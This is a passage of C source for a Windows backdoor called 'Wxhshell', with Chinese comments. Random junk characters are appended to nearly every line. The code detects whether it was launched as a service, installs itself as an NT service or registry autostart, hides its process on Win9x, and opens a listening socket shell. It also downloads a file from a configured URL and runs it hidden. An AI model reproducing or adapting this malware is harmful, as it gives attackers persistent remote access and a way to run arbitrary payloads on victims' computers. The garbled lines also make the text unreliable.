ULONG UniqueProcessId; :KKa4=5L
ULONG InheritedFromUniqueProcessId; Z1h]
} PROCESS_BASIC_INFORMATION; je6CDF qw
p[@5&_u(z
PROCNTQSIP NtQueryInformationProcess; <n:}kQTT
Zo}y(N1K}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rx5B=M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xy<`#
90#
;?#
HANDLE hProcess; dDD<E?TjD
PROCESS_BASIC_INFORMATION pbi; #9m$ N
3GmeD/6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %',F
if(NULL == hInst ) return 0; qA:#iJ8w
,j?.4{rHJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SR8qt z/V
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #k$)i[aI-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O$g_@B0E1
ZKz,|+X0G
if (!NtQueryInformationProcess) return 0; 8`]=C~G
QeDQo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?hR7<02
if(!hProcess) return 0; WnHUE
P1U*g!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pe_!?:vF
8$c bVMjh
CloseHandle(hProcess); DS2)@
/q@s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kip`Myw+
if(hProcess==NULL) return 0; W{5:'9,
@<@SMK)
HMODULE hMod; #-Z8Z
i"44
char procName[255]; kJAn4I.l
unsigned long cbNeeded; ;@nFVy>U
$LHa?3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;oNhEB:F
gUR]{dq^'
CloseHandle(hProcess); LrCk*@
'&FjW-`"
G
if(strstr(procName,"services")) return 1; // 以服务启动 7Mx6
+"ueq
return 0; // 注册表启动 cM&2SRBZ
} Q*YYTmZ
@f!AkzI
// 主模块 ^#):c`
int StartWxhshell(LPSTR lpCmdLine) vMs;>lhtg
{ ,WQ^tI=O
SOCKET wsl; A;J MV+2N
BOOL val=TRUE; >m'x8xB=
int port=0; 7$k8%lI;>
struct sockaddr_in door; Pz_NDI
tQ~W EC
if(wscfg.ws_autoins) Install(); \]Dt4o*yZ
I<=Df5M
port=atoi(lpCmdLine); &48_2Q"{
d"U(`E=H9
if(port<=0) port=wscfg.ws_port; #g5^SR|qE
o\`>c:.
WSADATA data; +zkm(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gr-x|wK
y\F=ui
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =6=_/q2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;50_0Mv;(:
door.sin_family = AF_INET; .5Q:Xp
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l+wc'=]
door.sin_port = htons(port); 8z<r.joxC
X jE>k!=I
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gLL\F1|0x
closesocket(wsl); nPkZHIxuD
return 1; &*&?0ov^"
} Q0{z).&\(e
tJ=di5&
if(listen(wsl,2) == INVALID_SOCKET) { . -"E^f
closesocket(wsl); (shK
return 1; >?YNW
} {6d b{ ay_
Wxhshell(wsl); -Y:ROoFOZ
WSACleanup(); DJQglt}~
}Uf<ZXW
return 0; o0pT6N)
@("}]/O
V:
} R:aYL~
#vf_D?^
// 以NT服务方式启动 l#@&~f[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p8, 0lo
{ n+D#k 8{
DWORD status = 0; qUf)j\7"Fn
DWORD specificError = 0xfffffff; =f:(r'm?r.
L|^o71t|
serviceStatus.dwServiceType = SERVICE_WIN32; DI&MC9j(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YCw('i(|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sg'NBAo"
serviceStatus.dwWin32ExitCode = 0; 6U,fz#<,}
serviceStatus.dwServiceSpecificExitCode = 0; d
`j?7Z
serviceStatus.dwCheckPoint = 0; ,fnsE^}.U
serviceStatus.dwWaitHint = 0; c-5jYwV
E/za@W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1]\TI7/n
if (hServiceStatusHandle==0) return; 3AlqBXE"Z<
MFg'YA2/
status = GetLastError(); WwW^[k (X
if (status!=NO_ERROR) ~4)Y#IxL
{ }#= Od e
serviceStatus.dwCurrentState = SERVICE_STOPPED; [.q(h/b
serviceStatus.dwCheckPoint = 0; vZajT!h
serviceStatus.dwWaitHint = 0;
'H FK Bp
serviceStatus.dwWin32ExitCode = status; j[P8
serviceStatus.dwServiceSpecificExitCode = specificError; y67uH4&Vm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ggou*;'
return; !%mi&ak(Rn
} W>L@j(
=p&sl;PsLw
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4w{-'M.B
serviceStatus.dwCheckPoint = 0; Yb=6C3l@
serviceStatus.dwWaitHint = 0; wk02[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E' %lxr
} [[qwaI
CW:gEm+
// 处理NT服务事件,比如:启动、停止 D&*LBQ/K
VOID WINAPI NTServiceHandler(DWORD fdwControl) >;i\v7
{ 2z983^
switch(fdwControl) '@:[axu
{ {rPk3
case SERVICE_CONTROL_STOP: /#yA%0=w
serviceStatus.dwWin32ExitCode = 0; DzPs!(5[I
serviceStatus.dwCurrentState = SERVICE_STOPPED; A/Khk2-:
serviceStatus.dwCheckPoint = 0; wO"GtVd
serviceStatus.dwWaitHint = 0; =w<VT%
{ fW~*6ln
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7<yp"5><)
} {(\(m/!Z
return; PZ34 *q
case SERVICE_CONTROL_PAUSE: +AK:(r
serviceStatus.dwCurrentState = SERVICE_PAUSED; /84bv=
break; <pOl[5v]
case SERVICE_CONTROL_CONTINUE: *fP(6e#G,
serviceStatus.dwCurrentState = SERVICE_RUNNING; >QI~`MiI
break; .v,bXU$@YG
case SERVICE_CONTROL_INTERROGATE: iMWW%@U^=
break; )
p^
}; G\1J _al
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,t~
} e d;"bb
8X~h?^Vz
// 标准应用程序主函数 /Dw@d,&[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `{G?>z Fp
{ 8D2yR#3
wZv-b*4
// 获取操作系统版本 bag&BHw
OsIsNt=GetOsVer(); pGGV\zD^
GetModuleFileName(NULL,ExeFile,MAX_PATH); O3ZM:,.
Za!w#j%h
// 从命令行安装 CT}' ")Bm
if(strpbrk(lpCmdLine,"iI")) Install(); u)7
]1e{
baIbf@t/
// 下载执行文件 l7Lj[d<n
if(wscfg.ws_downexe) { >h[(w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pb$fb
WinExec(wscfg.ws_filenam,SW_HIDE); gPUo25@pn*
} 6{7 3p@
ycjJbL(.
if(!OsIsNt) { B+Q+0tw*i
// 如果时win9x,隐藏进程并且设置为注册表启动 =xBT>h;
HideProc(); hwDXm9
StartWxhshell(lpCmdLine); p!GZCf,
} MOyT< $
else k ZK//YN#
if(StartFromService()) &A"e,h(^
// 以服务方式启动 .Qfnd#
StartServiceCtrlDispatcher(DispatchTable); tzNaw %\
else t {=i=K3
// 普通方式启动 M@~o6 ^
StartWxhshell(lpCmdLine); 7O461$4v
4OEKx|:5n
return 0; =43d%N
}